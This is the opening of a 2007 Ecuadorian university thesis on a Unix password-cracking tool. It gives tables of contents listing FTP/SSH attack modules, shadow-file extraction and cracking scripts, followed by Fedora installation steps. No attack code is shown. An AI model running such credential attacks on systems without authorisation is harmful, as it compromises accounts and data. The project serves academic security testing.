UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias...

505
UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias Matemáticas y Física Carrera de Ingeniería en Sistemas Computacionales Cracker de Passwords UnixPROYECTO DE GRADO Previo a la Obtención del Titulo de: INGENIERO EN SISTEMAS COMPUTACIONALES Autor(es): Alicia Victoria Aldaz Borja José Luís Hidalgo Torres Karina Gisela Valenzuela Burbano GUAYAQUIL ECUADOR Año: 2007

Transcript of UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias...

Page 1: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

UNIVERSIDAD DE GUAYAQUIL

Facultad de Ciencias Matemáticas y Física

Carrera de Ingeniería en Sistemas

Computacionales

“Cracker de Passwords Unix”

PROYECTO DE GRADO

Previo a la Obtención del Titulo de:

INGENIERO EN SISTEMAS COMPUTACIONALES

Autor(es):

Alicia Victoria Aldaz Borja

José Luís Hidalgo Torres

Karina Gisela Valenzuela Burbano

GUAYAQUIL – ECUADOR

Año: 2007

Page 2: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

II

AGRADECIMIENTO

Agradecemos a todas las personas que han

contribuido de alguna manera a la realización

de nuestro proyecto y a nuestros padres por

estar siempre guiándonos en nuestra vida

estudiantil.

Page 3: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

III

DEDICATORIA

Dedicamos este trabajo a Dios por estar

siempre a nuestro lado en todo momento y a

nuestros padres porque siempre han creído en

nosotros y nos brindaron en todo este tiempo su

apoyo y amor.

Page 4: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

IV

TRIBUNAL DE GRADUACIÓN

Presidente del Tribunal Primer Vocal Segundo Vocal Secretario

Page 5: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

V

ÍNDICE GENERAL

AGRADECIMIENTO II

DEDICATORIA III

TRIBUNAL DE GRADUACIÓN IV

ÍNDICE GENERAL V

ÍNDICE GRÁFICO IX

CAPITULO I 1

Manual de usuario 1

Antes de empezar 1

Instalación del Programa y los Aplicativos 1

Requerimientos de hardware: 1

Recurso humano: 4

Pasos para la instalación de las herramientas. 4

Instalación de Fedora Core 5.0 5

1. Empezamos a instalar: 13

¿Cómo identifico la unidad donde voy a instalar Linux? 16

¿Qué particiones necesito para Linux? 17

6.1. Configuración del disco: 20

6.1.1. Si tenemos un disco duro nuevo: 20

CAPITULO II 29

Configuraciones Básicas del Fedora Core 5.0 29

Configuraciones básicas de red 29

Instalación de Wine 37

CAPITULO III 41

Pantallas Principales del Proyecto 41

Pantalla Principal del Programa 43

Pantalla de Scan de IP y Puertos 45

Créditos 64

Page 6: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

VI

Salir 64

CAPITULO IV 65

Manual Técnico 65

Diccionario de datos. 66

CAPITULO V 78

Clases del Proyecto 78

Clase claveproyecto.java 78

Proceso de verificación de contraseñas: 79

Clase crea.java 80

Clase msg.java 80

Clase fecha.java 81

Clase Access.java 83

Clase pantalla_principal.java 85

Clase Constants.java 86

Clase Timer.java 87

Clase PingSweepStart 88

Clase pinger.java 89

Clase basic_ip_tools.java 91

Clase ping_thread.java 92

Funciones importantes de destacar en esta clase: 97

Clase hackeo.java 109

Clase parametros_análisis.java 110

Clase reporte.java 123

Clase estadistica.java 125

Configuraciones Adicionales 128

Como configurar la base de datos postgre del proyecto 128

Pasos para la instalación y configuración de PostgreSQL para Linux

129

Agregar a NetBeans un conector de la base de datos 131

Page 7: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

VII

Conector a la Base de Datos 131

Conexión de una Aplicación a una Base de Datos 132

Agregar a NetBeans un Conector a una Base de Datos 132

Conexión de NetBeans a una Base de Datos 137

Instalación en Netbeans del Conector a la Base de Datos 138

Conexión de NetBeans a la Base de Datos 141

Acceso a la base de datos desde NetBeans 143

Manejo de gráficos con JfreeChart 150

Gráficas en Java con JFreeChart 150

Tips y trucos para aprovechar mejor el proyecto 154

SSH 154

SCP 156

Procedimiento 157

Manipulación de los scripts del proyecto. 158

CAPITULO VI 165

Código fuente principal. 165

Clave del Proyecto 165

Créditos.java 170

Salir.java 173

Crea.java 176

Mensaje.java 178

Msg.java 181

Fecha.java 182

Reloj.java 183

Access.java 184

Pantalla_principal.java 185

Constants.java 195

Ping_swep_start.java 196

Pinger.java 198

Page 8: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

VIII

Genera_palabras.java 199

Scan_ip_range.java 200

Basic_ip_tools.java 202

ping_thread.java 206

pantalla_scan.java 207

Pantalla_attack_ftp.java 226

Hackeo.java 240

Parámetros_análisis.java 247

Análisis.java 256

reporte.java 289

Estadisticas.java 301

Crea_3d.java 306

Crea_3d_todos.java 308

Crea_3d_vig_ip.java 310

Crea_3d_vig_ip_todos.java 312

Bar_3d_ip.java 314

Bar_3d_ip_todos.java 316

Bar_3d_vig_ip.java 319

Bar_3d_vig_ip_todos.java 321

Page 9: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

IX

ÍNDICE GRÁFICO

Gráfico No. 1 Instalación de otro Sistema Operativo 8

Gráfico No. 2 Selección del Sistema Operativo 9

Gráfico No. 3 Donde Crear 9

Gráfico No. 4 Tomar Espacio de otra partición 10

Gráfico No. 5 Propiedad de Partición 11

Gráfico No. 6 Confirma tus cambios 11

Gráfico No. 7 Confirmar Cambios Swap 12

Gráfico No. 8 Configuración del Teclado 14

Gráfico No. 9 Configuración del ratón 15

Gráfico No. 10 Tipo de Instalación 15

Gráfico No. 11 Configuración del disco 16

Gráfico No. 12 Añadir Partición 20

Gráfico No. 13 Configuración del gestor de arranque 22

Gráfico No. 14 Configuración de red 23

Gráfico No. 15 Configuración del firewall 23

Gráfico No. 16. Soporte adicional del idioma 24

Gráfico No. 17 Selección del huso horario 25

Page 10: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

X

Gráfico No. 18 Configurar contraseña de root 25

Gráfico No. 19 Configuración de la autenticación 26

Gráfico No. 20 Selección de grupos de paquetes 27

Gráfico No. 21 Instalación de paquetes 28

Gráfico No. 22 Pantalla Ingreso 41

Gráfico No. 23 Pantalla de Bienvenida 42

Gráfico No. 24 Pantalla Principal 43

Gráfico No. 25 Pantalla de Scan de IP y Puertos 45

Gráfico No. 26 Pantalla de Scan de IP y Puertos 49

Gráfico No. 27 Pantalla de Ejecución de ataques 49

Gráfico No. 28 Ataque Ftp – Ssh 50

Gráfico No. 29 Pantalla Paramentos de análisis 56

Gráfico No. 30 Resultado de análisis 58

Gráfico No. 31 Pantalla Reporte del Sistema 60

Gráfico No. 32 Consulta 61

Gráfico No. 33 Mensaje 61

Gráfico No. 34 Generación Estadística 62

Gráfico No. 35 Gráfico tipo Pastel y tipo barra 63

Gráfico No. 36 Pantalla de Crédito 64

Page 11: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

XI

Gráfico No. 37 pantalla de Salida 64

Gráfico No. 38 Función Verifica 79

Gráfico No. 39 Crea.java 80

Gráfico No. 40 Clase Msg.java 81

Gráfico No. 41 Clase fecha.java 82

Gráfico No. 42 Clase reloj.java 83

Gráfico No. 43 Clase Access.java 85

Gráfico No. 44 Clase pantalla_principal.java 86

Gráfico No. 45 Clase Constrangts.java 86

Gráfico No. 46 Clase Timer.java 87

Gráfico No. 47 Clase PingSweepStart 88

Gráfico No. 48 Clase genera_palabras 89

Gráfico No. 49 Clase pinger.java 90

Gráfico No. 50 scan_ip_range.java 91

Gráfico No. 51 Clase basic_ip_tools.java 92

Gráfico No. 52 Clase ping_thread.java 93

Gráfico No. 53 pantalla_scan.java 94

Gráfico No. 54 Clase pantalla_attack_ftp.java 96

Gráfico No. 55 boton_retorno 97

Page 12: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

XII

Gráfico No. 56 Class verifica estado 98

Gráfico No. 57 Funcion ejecuta_ataque_ftp 99

Gráfico No. 58 Funcion ejecuta_extract 102

Gráfico No. 59 Ataque SSH 103

Gráfico No. 60 Extract_Passwd_Shadow 105

Gráfico No. 61 Rc.Local 107

Gráfico No. 62 Ejecuta descifrado 108

Gráfico No. 63 Class hackeo 110

Gráfico No. 64 Class Parametros_análisis 112

Gráfico No. 65 Class Parametros_análisis 112

Gráfico No. 66 class análisis 114

Gráfico No. 67 boton_resultados 115

Gráfico No. 68 Ejecuta análisis 116

Grafico No. 69 Proceso de validación de fecha 118

Gráfico No. 70 Proceso de validación de fecha 119

Gráfico No. 71 Porcentaje de Seguridad 122

Gráfico No. 72 Boton_guardar 123

Gráfico No. 73 Reporte 124

Gráfico No. 74 Clase Estadística 125

Page 13: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

XIII

Gráfico No. 75 Crea3d 126

Grafico No. 76 bar_3d 127

Gráfico No. 77 Verificar Conexión 130

Gráfico No. 78 Tools/Library Manager 132

Grafico No. 79 Library Manager 133

Gráfico No. 80 New Library 133

Gráfico No. 81 Library Manager 134

Gráfico No. 82 Browse JAR/Folder 134

Gráfico No. 83 Library Manager 135

Gráfico No. 84 Nodo Libraries 135

Gráfico No. 85 Add Library 136

Gráfico No. 86 Add Library 136

Gráfico No. 87 Conector Agregado 137

Gráfico No. 88 Ventana Runtime 138

Gráfico No. 89 Agregar Conector 138

Gráfico No. 90 Cuadro de dialogo Agregar Conector 139

Gráfico No. 91 Seleccionar conector 139

Gráfico No. 92 Información del conector 140

Gráfico No. 93 Conector Postgres en Ventana Runtime 140

Page 14: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

XIV

Gráfico No. 94 Conexión a la Base de datos 141

Gráfico No. 95 Conexión a Nueva Base de Datos 142

Gráfico No. 96 Confirmando conexión 142

Gráfico No. 97 conexiones a la Base de datos 143

Gráfico No. 98 Conectores y Tabla 144

Gráfico No. 99 Operaciones con Tablas 145

Gráfico No. 100 Creación de Tablas 145

Gráfico No. 101 Comando SQL 146

Gráfico No. 102 Ejecutar Código SQL 146

Gráfico No. 103 View Data 147

Gráfico No. 104 Creación de tabla 148

Gráfico No. 105 Modificar la tabla 149

Gráfico No. 106 Clave Primaria 149

Gráfico No. 107 Gráficos con JFreeChart 151

Gráfico No. 108 Descompresión de Jfrechart 151

Gráfico No. 109 Gráfico d barras horizontales 152

Gráfico No. 110 Librería jcommun 152

Gráfico No. 111 Código Ventana Grafica 153

Gráfico No.112 Estadistica de seguridad por Ip 154

Page 15: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

XV

Gráfico No. 113 Codigo SSH 155

Grafico No. 114 Comando SSH 155

Gráfico No. 115 Comands SCP 156

Gráfico No. 116 Script de Extracción 159

Gráfico No. 117 Script de autorización 159

Gráfico No. 118 Script Chequeo estado de red 160

Gráfico No. 119 Script Ataque completo 160

Gráfico No. 120 Script Conocer IP 160

Gráfico No. 121 Script Descifrado y análisis de password 161

Gráfico No. 122 Script Muesta Password 161

Page 16: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

CAPITULO I

Manual de usuario

Antes de empezar

Se recomienda leer primero este apartado del manual, con respecto a la

instalación y configuración del sistema. Si se requieren más detalles de

funcionamiento, remítase al manual técnico aquí proporcionado.

Instalación del Programa y los Aplicativos

Primero, empezaremos por detallar los elementos de hardware mínimos que

necesitamos para empezar a diseñar el programa. El programa para su

desarrollo necesita del siguiente equipo (características mínimas de

operación)

Requerimientos de hardware:

Un computador con las siguientes características:

• Procesador Pentium IV 2.0 Ghz o superior.

• También se probó con una buena perfomance en equipos con

procesador AMD NX1750, pero se recomienda mejor usar equipo

Intel.

• Memoria RAM 512 Mb, se probó en equipos con 256 Mb pero las

prestaciones bajaron significativamente.

Page 17: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

2

• Disco duro con espacio de 200 Mb mínimo para la instalación del

programa y los aplicativos adicionales.

• Disco duro con espacio particionado de 10Gb mínimo para la

instalación del sistema operativo Linux Fedora Core 5.0.

• CD-ROM 52x para la instalación de los aplicativos.

• Tarjeta de red 10 / 100 de preferencia 3-Com para mejor perfomance,

no necesariamente, se puede usar cualquiera, pero debe comprobarse

la compatibilidad con el sistema operativo instalado.

• Cable de red para la conexión con la LAN local, categoría 5e o

superior.

• Se puede disponer del uso de una tarjeta de red inalámbrica, pero el

rendimiento del programa cae drásticamente. Se optará entonces por

comprar una 3-Com o D-link.

• Monitor de 860 x 640 para poder visualizar la parte gráfica.

• Si se desea se puede operar el proyecto con una maquina virtual, la

cual se explicará su funcionamiento más adelante, la cual debe ser

configurada con las mismas características que se mencionan en esta

página.

Requerimientos de software:

Para el desarrollo y ejecución del programa, se deberá contar con lo

siguiente:

Page 18: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

3

❖ Tener instalado y en operación el sistema operativo Linux Fedora Core

5.0, correctamente configurado en el cual se va a desarrollar el

proyecto. Más adelante se detalla paso a paso la instalación y

configuración del mismo para poder empezar a desarrollar el proyecto

❖ El sistema operativo, una vez listo para trabajar, deberá tener

instalados los siguientes paquetes, los cuales se proporciona en los

CD's del proyecto:

❖ Herramienta de desarrollo, NetBeans 5.5 con JDK 1.5_11

❖ Paquetes :

o netwig-5.35.0-src.tgz

o netwag-5.35.0-src.tgz

o netwox-5.35.0-src.tgz

o john-1.7.2.tar.gz

❖ Paquetes opcionales:

o wine-0.9.27.tar.bz2

o putty.exe (funciona previa instalación de wine)

o winscp32.exe (funciona previa instalación de wine)

• Paquetes adicionales que su instalación puede ser opcional, y ayudarán a

dar mejor rendimiento al programa.

Algunos paquetes, pueden necesitar dependencias, las cuales si no están los

paquetes instalados, no permitirán seguir con la instalación. En el caso de

Page 19: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

4

ocurrir, se deberá buscar en paquete correspondiente que haga falta en los

cd's de la distribución de Fedora que esté usando, para nuestro caso, Fedora

Core 5.0. Esto ocurre cuando el Fedora no está instalado con todas las

herramientas de desarrollo. Más adelante se dará indicaciones de como se

instalará el Fedora de tal manera que no nos cause ningún inconveniente

como lo antes mencionado.

Recurso humano:

Para terminar el desarrollo en un tiempo estimado de 7 meses, se necesitará

configurar todo el equipo como se indica en este manual, al menos con 3

personas trabajando un promedio de 6 horas diarias en la configuración del

equipo y la programación. La primera durará al menos 3 semanas, el resto

del tiempo será trabajo de los programadores.

Pasos para la instalación de las herramientas.

Si ya se cumple con los mínimos requerimientos de hardware, se puede

proceder con los siguientes pasos:

En nuestro caso estamos operando con un equipo con las siguientes

características:

• Procesador Pentium IV 2,3 Ghz

• Memoria RAM 768 Mb

• Disco Duro con 20 Gb de espacio, para instalar el sistema operativo y los

Page 20: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

5

programas de desarrollo y paquetes que el programa necesita.

• CD-ROM 52 x

• Tarjeta de red 10 / 100

Con este equipo, las prestaciones de rendimiento son del 60% al 70%.

Mientras más recursos tenga el equipo, los resultados obtenidos al usar el

programa serán mejores.

El programa puede trabajar muy bien con las especificaciones mínimas

mencionadas al inicio de este manual, solo disminuirá su tiempo de

ejecución.

Instalación de Fedora Core 5.0

La idea de este manual es que cualquier técnico con el mínimo conocimiento

pueda configurar todo el proceso, siguiendo las instrucciones que aquí se

describen.

Se procederá a instalar los CD's de Fedora Core en este caso la distribución

5.0, en el espacio destinado para el mismo, teniendo en cuenta lo que se

explica a continuación: Si es una maquina con un disco nuevo, se lo formatea

usando los diskettes auxiliares de la herramienta Partition Magic, o como

mejor le convenga, el cd de Fedora le permitirá formatear la partición en

Page 21: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

6

blanco e instalar el sistema desde un disco limpio, en caso de que se quiera

compartir con una maquina que tenga el sistema operativo Windows, leer lo

siguiente:

Instalación de Fedora Core 5.0 con otro sistema operativo residente en

disco

Este procedimiento no será válido si el disco cuenta con el sistema operativo

Windows Vista, ya que genera conflictos, los pasos explicados aquí se

realizaron con un disco con un sistema operativo residente Windows XP

Professional Edition con SP 2

Procederemos a instalar la distribución Linux de Fedora Core 5.0, para lo

cual seguiremos los siguientes pasos:

• Lo más aconsejable es realizar la partición por medio de la herramienta

Partition Magic en su versión 8.0 o superior, la cual se la puede descargar

desde este link: www.powerquest.com

• Luego de obtener esta herramienta, se procederá a realizar la partición

que permitirá instalar los archivos de ejecución del Kernel y todo lo

necesario para que Fedora funcione. siguiendo estas indicaciones:

❖ Tengamos en cuenta los requisitos que se necesitan para que Fedora

Core funcione a plenitud y sin problemas, que detallamos al inicio del

manual:

Page 22: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

7

o Procesador Pentium III superior a 900Mhz, de preferencia será un

Pentium IV.

o 256 Mb de RAM mínimo, esto es, porque al ejecutar el programa

se consumirán muchos recursos de la maquina, lo cual bajará el

rendimiento si no se cuenta con memoria suficiente.

o Disco duro con espacio de 3Gb como mínimo, pero lo más óptimo

sería que tengamos más de 10Gb disponibles para Fedora.

o Mainboard Intel

o Tarjeta de red NIC 3COM, es recomendable.

o Cd rom superior a 52 X

o SVGA

o Mouse

Estos son requerimientos MÍNIMOS, los cuales permiten operabilidad, pero

se reducirá la velocidad de operación. De preferencia se debe ejecutar el

programa en un equipo como en el que se detalló que se realizaron las

pruebas del programa.

“Se recomienda hacer un respaldo de la información del disco

duro, por lo delicado que es este proceso, a pesar de que

siguiendo estos pasos al pie de la letra, el éxito es seguro, pero

puede cometerse un error en su interpretación”

Page 23: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

8

Lo primero a realizar es una desfragmentación del disco duro, para poder

agrupar todos los datos de la partición del otro sistema operativo, y no tener

sorpresas desagradables como la pérdida de datos después de haber

instalado el otro sistema operativo. Dependiendo del tamaño de la

desfragmentación, demorará unas horas, pero hay que tener paciencia y

cumplir con este paso por seguridad del equipo.

Procederemos a crear la partición usando la herramienta Partition Magic, los

pasos a continuación (según nuestra experiencia):

• En el menú escogemos “ Install Another Operating System “ y nos

aparecerá un pantalla como la que tenemos a continuación:

Gráfico No. 1 Instalación de otro Sistema Operativo

Cuando se utiliza el Partición Magic nos muestra un Wizard

que nos guía para la instalación de otro Sistema Operativo

Page 24: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

9

• Luego, escogemos en la solapa, el sistema operativo a instalar, Linux:

Gráfico No. 2 Selección del Sistema Operativo

El Wizard nos muestra los diversos sistemas operativos

para escoger y proseguir con la instalación

• Observemos la imagen, es preferible escoger la instalación de la

partición como extendida, y después “After“ de las que ya se

encuentran instalas en el disco duro:

Gráfico No. 3 Donde Crear

Nos permite escoger la partición para instalar el Sistema Operativo

Page 25: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

10

• El programa nos indicara ahora si queremos que las particiones

existentes en el disco, “donen “espacio para crear la nueva partición.

Si se tiene espacio suficiente en el disco (espacio que aparece en la

pantalla como “unformatted o unallocated”), es preferible quitar los

vistos de las solapas, es decir, no queremos que donen espacio las

demás particiones.

• Pero si nos vemos en la necesidad de que las demás particiones

donen espacio, tomemos en cuenta lo siguiente:

Gráfico No. 4 Tomar Espacio de otra partición

Permite redimensionar una partición para hacer una nueva

• Luego, escogemos el tamaño de la partición, de que tipo es, es

preferible escoger “extended” y “ext3” para lograr optimización.

Escoger también 10000Mb ( 10 Gb ) como tamaño de la partición

Page 26: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

11

Gráfico No. 5 Propiedad de Partición

Nos permite elegir el tamaño, tipo de sistema de ficheros y colocar nombre

• Nos saldrá una pantalla que muestra las particiones como están

actualmente, y como lo estarán al aplicar los cambios, si no se

cometió error, se procede; si se necesita verificar algo, se puede

retroceder. Se procederá a presionar “finish” para aceptar los cambios.

Gráfico No. 6 Confirma tus cambios

Obtenemos la Vista previa de cómo quedará el disco

Page 27: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

12

• Luego, nos pedirá que creemos la partición swap, importante para

Linux, escogemos que si, le asignamos el espacio ( el doble de lo que

se tenga en RAM. Ej: si tenemos 512 de RAM, asignaremos 1024 de

swap), y repetimos los pasos como en el proceso anterior.

Gráfico No. 7 Confirmar Cambios Swap

Vista previa del espacio asignado para el Swap

• Finalmente, aplastando el botón “Apply” del menú, procederemos a

formatear la partición, se reiniciará la maquina, o se realizará el

proceso en ese mismo momento. Si no hay mensajes de errores, se

formateó con éxito, sino, se debe repetir el proceso.

Procederemos entonces a la instalación de los cd´s de Fedora Core,

siguiendo estos sencillos pasos:

1. Hacer que la maquina arranque desde el cd rom (al iniciar el

encendido, se deberá presionar DEL, SUPR en maquinas clones, F8,

F1 en algunas maquinas, y escoger el booteo desde el cd rom).

Page 28: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

13

2. Luego, reiniciar, escoger el modo de instalación, y segur los pasos que

se indican en las pantallas ( modo gráfico preferible para novatos )

Antes de nada comprueba que todo tu hardware es compatible con la versión

de Fedora que quieres instalar. Después consigue toda la información que

puedas sobre tu equipo: placa base, tarjeta de sonido, gráfica, de red. La

instalación es realmente sencilla ya que el instalador "Anaconda" es muy fácil

de manejar.

Primero antes de comenzar, hay que asegurarse de que tenemos una

partición o un disco duro nuevo. Muy bien, te aconsejo que imprimas esto o

por lo menos que apuntes los pasos más importantes en un papel.

Arrancamos desde el CD.

1. Empezamos a instalar:

Presiona "Enter" para comenzar la instalación gráfica, veras como se

cargan algunos módulos y como Linux reconoce tu hardware. Ahora te

saldrá una pantalla que te preguntara si quiere analizar los CD para

comprobar que estén correctos, es recomendable que "escanees" los 3

CDs, de todos modos (si no lo quiere hacer dale a "Skip") cuando termine

dale a "Continue" se cargara "Anaconda" que es instalador gráfico de Red

Hat, ahora ya puedes usar el ratón, pulsa en "Next".

Page 29: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

14

2. "Select languaje":

En la siguiente pantalla selecciona su idioma (Spanish) y vuelve a pulsar

"Next".

3. Configuración del teclado:

Selecciona "Spanish" de la lista y pulsa en "Siguiente".

Gráfico No. 8 Configuración del Teclado

Nos muestra una lista desplegable de los tipos de configuración del teclado

4. Configuración del ratón:

Ahora, ya en español, selecciona su ratón de la lista, si no ves tú modelo

deja el genérico que viene seleccionado por defecto, y pulsa, como no,

"Siguiente".

Page 30: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

15

Gráfico No. 9 Configuración del ratón

Elección del Sistema del tipo de ratón para el Sistema

5. Tipo de instalación:

Existen cuatro tipos de instalaciones:

❖ Escritorio personal

❖ Estación de trabajo

❖ Servidor

❖ Personalizada

Gráfico No. 10 Tipo de Instalación

Selección del tipo de instalación

Page 31: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

16

Nosotros elegiremos las personalizada, para poder elegir los paquetes

que queramos instalar.

Pulsamos "Siguiente".

6. Configuración de la partición:

Hay dos formas:

❖ Automática

❖ Manual (con Disk Druid)

Gráfico No. 11 Configuración del disco

Elección de la partición donde se desea instalar Linux

¿Cómo identifico la unidad donde voy a instalar Linux?

Cuando vemos un disco duro o unidades dentro de Windows, se nos

presentan como letras del abecedario (C, D, E, etc.) pero dentro de Linux, es

bastante diferente, ya que su estructura semeja un árbol donde cada

partición y dispositivo de lectura/escritura se representa como un directorio,

Page 32: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

17

los nombres de las unidades de disco duro son:

❖ hda: disco duro principal

❖ hdb: disco duro secundario

❖ hda1: primera partición del disco duro principal.

❖ hdb2: segunda partición del disco secundario

Ahora, para ejemplificar todo este proceso, supongamos que tienen un disco

duro de 20 GB y generan dos particiones, uno de 5 GB para Windows y el

resto para Linux, entonces es hda1 (Windows) y hda2 (Linux), siendo en

este último donde crearíamos las particiones del sistema.

¿Qué particiones necesito para Linux?

NOTA: Estas particiones se crean al momento de instalar, no de dividir el

disco duro para varios sistemas operativos, pero es importante que las

conozcan de antemano. En principio sólo se pueden montar tres y es

suficiente para que funcione:

/boot

Es la partición donde se leen los parámetros para iniciar el sistema.

Requiere al menos 75 MB en Red Hat™ Enterprise Linux 3.0 y White Box

Enterprise Linux 3.0. Asignar más espacio puede considerarse desperdicio.

/ o raíz Es donde se instalarán los componentes del sistema operativo.

Requiere de 350 a 512 MB.

Page 33: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

18

swap

Espacio físico para la memoria virtual del sistema.

Debe asignarse el doble del tamaño del RAM físico.

Esta será siempre la última partición del disco duro.

No se asigna punto de montaje.

Otras particiones son:

/usr

Se trata del segundo directorio en cuanto a jerarquía en el sistema. Contiene

la mayoría de los binarios (ejecutables), bibliotecas compartidas, manuales,

datos de aplicaciones e imágenes que utiliza el sistema, cabeceras de
